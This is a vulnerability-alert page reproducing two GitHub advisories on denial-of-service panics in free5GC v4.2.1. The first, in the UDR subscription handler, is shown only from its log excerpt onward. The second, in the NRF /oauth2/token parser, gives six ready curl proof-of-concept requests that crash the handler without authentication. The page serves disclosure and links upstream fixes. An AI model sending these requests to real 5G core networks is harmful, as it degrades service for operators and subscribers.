4. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at eventamfsubscriptioninfodocument.go:61 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:61 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USERNOTFOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/apiaccesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.

Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.

Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000

Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/apiaccesstoken.go:52 - NFs/nrf/internal/sbi/apiaccesstoken.go:87 - NFs/nrf/internal/sbi/apiaccesstoken.go:98 - NFs/nrf/internal/sbi/apiaccesstoken.go:100 - NFs/nrf/internal/sbi/apiaccesstoken.go:112

The model definition lives in free5gc/openapi: - models/modelnrfaccesstokenaccesstokenreq.go:27 - models/modelnrfaccesstokenaccesstokenreq.go:29 - models/modelnrfaccesstokenaccesstokenreq.go:30 - models/modelnrfaccesstokenaccesstokenreq.go:31

The parser's effective shape is: parse value as models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.

Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning models.PlmnId to models.PlmnIdNid - targetSnssaiList -> panic assigning models.PlmnId to []models.Snssai - targetNsiList -> panic assigning models.PlmnId to []string

PoC Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.

1. requesterPlmnList -> []models.PlmnId mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'

2. requesterSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'

3. requesterSnpnList -> []models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'

4. targetSnpn -> models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'

5. targetSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'

6. targetNsiList -> []string mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'

Observed response (per request, no body returned): HTTP/1.1 500 Internal Server Error Content-Length: 0

NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type: [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token |

Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).

This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.

What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.

No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203